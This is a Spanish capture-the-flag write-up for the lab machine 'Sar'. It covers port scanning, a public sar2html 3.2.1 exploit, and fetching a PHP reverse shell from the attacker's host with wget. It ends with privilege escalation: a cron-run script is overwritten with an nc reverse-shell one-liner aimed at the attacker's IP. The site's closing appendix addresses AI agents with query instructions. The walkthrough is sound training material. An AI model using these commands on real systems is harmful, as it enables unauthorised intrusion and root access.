# Sar

<figure><img src="/files/sNeNgw6vgWJoKCNUriEn" alt=""><figcaption></figcaption></figure>

### Enumeración

#### Servicios abiertos

Comenzamos enumerando los servicios abiertos de la máquina "Sar"

```
nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.147.35
```

<figure><img src="/files/JSBkHLWW4UAf0ToCfJf2" alt=""><figcaption></figcaption></figure>

Dos puertos abiertos, 22 y 80. Continuamos con el escaneo profundo de estos servicios.&#x20;

```
nmap -p22,80 -Pn -n -sVC -vvv 192.168.147.35 
```

<figure><img src="/files/3xpjTtvuCbbcvqrJVxb1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/mBKr9pnJDp9Gd7tVzrFI" alt=""><figcaption></figcaption></figure>

Servicios abiertos:

* Puerto 22 -> SSH -> OpenSSH 7.6
* Puerto 80 -> HTTP -> Apache httpd 2.4.29

#### Enumeración Web

La máquina "Sar" está ejecutando un servidor Web en el puerto 80, vamos a enumerar su contenido.&#x20;

<figure><img src="/files/a8brzupApkgrUQrJBHst" alt=""><figcaption></figcaption></figure>

Página por defecto de un servidor que está ejecutando Apache. Vamos a enumerar directorios y archivos disponibles.

```
dirsearch -u "192.168.147.35" -i200,301 -t 30
```

<figure><img src="/files/zGCWRVDyqOHQRIR6pB23" alt=""><figcaption></figcaption></figure>

Hay un archivo /robots.txt que puede ser interesante. Vamos a ver su contenido.&#x20;

<figure><img src="/files/uJgXedEiHYonZlqvl62Q" alt=""><figcaption></figcaption></figure>

Parece un directorio. Vamos a enumerar su contenido.&#x20;

<figure><img src="/files/XCqshEnn3BADBbo60LJp" alt=""><figcaption></figcaption></figure>

Podemos ver la versión "sar2html 3.2.1". Vamos a tratar de buscar algún exploit existente para esta versión.&#x20;

<figure><img src="/files/cP2NLGisGtj8yV1sx575" alt=""><figcaption></figcaption></figure>

### Explotación

Existen dos posibles exploits. Vamos a descargar el exploit 49344.py

```
searchsploit -m 49344.py
```

Una vez descargado, ejecutamos el exploit.

<figure><img src="/files/q4D8VzMUPz8wlFizc4WM" alt=""><figcaption></figcaption></figure>

Tenemos shell. Vamos a buscar la flag Local.txt

<figure><img src="/files/eEgja5k89bN51Au0Ccnu" alt=""><figcaption></figcaption></figure>

### Elevación de privilegios

La shell obtenida no nos permite movimiento alguno. Vamos a cargar una reverse shell en la máquina víctima que nos permita acceso completo al sistema.&#x20;

```
En la máquina de ataque: python2 -m SimpleHTTPServer 80
En la máquina objetivo: wget http://192.168.49.147/php-reverse-shell.php
```

<figure><img src="/files/o7A7VmO3p7nAvVfCQvAr" alt=""><figcaption></figcaption></figure>

Ejecutamos un oyente nc en el puerto 1234 y abrimos la shell en el navegador Web.&#x20;

<figure><img src="/files/g9y3RaI0yqb7D4qRcxS0" alt=""><figcaption></figcaption></figure>

Realizamos el tratamiento de la tty.&#x20;

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

<figure><img src="/files/9O1Jo3Gx7m6XLSUZd78L" alt=""><figcaption></figcaption></figure>

Enumeramos los archivos disponibles en el directorio /var/www/html

<figure><img src="/files/2kEMqSv5wP1sml3EI4Ww" alt=""><figcaption></figcaption></figure>

En este directorio hay disponible dos ejecutables bash que pueden ser interesantes, finally.sh y write.sh.&#x20;

Vamos a enumerar el contenido del archivo crontab

<figure><img src="/files/C8Yatsu4lsIovIfMxzEw" alt=""><figcaption></figcaption></figure>

El archivo finally.sh que vimos en la enumeración del contenido del directorio, se ejecuta con privilegios elevados cada 5 minutos. Vamos a ver el contenido de los dos scripts que vimos anteriormente.&#x20;

<figure><img src="/files/kRDalREaFYNL6BOns1Jm" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/HsE2pmP7GZ4Thgz1pGZ5" alt=""><figcaption></figcaption></figure>

Tenemos permisos para escribir en el ejecutable write.sh pero no en finally.sh. Vamos a modificar el archivo write.sh para crear una reverse shell que se ejecutará cada 5 minutos.&#x20;

```
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.49.147 1337 >/tmp/f" > write.sh
```

<figure><img src="/files/59MXIUMsik7L1pa05a5g" alt=""><figcaption></figcaption></figure>

Esperamos 5 minutos y deberemos obtener conexión en la máquina objetivo con privilegios máximos.&#x20;

<figure><img src="/files/8zut9LGdcWwX5mlvrOoM" alt=""><figcaption></figcaption></figure>

Solo quedará buscar la flag proof.txt para acabar la resolución de este CTF.&#x20;

<figure><img src="/files/B9dNiuEz2v0j1dGWFDrs" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.youtube.com/watch?v=Wl-nXhJ5HiQ>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/sar.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
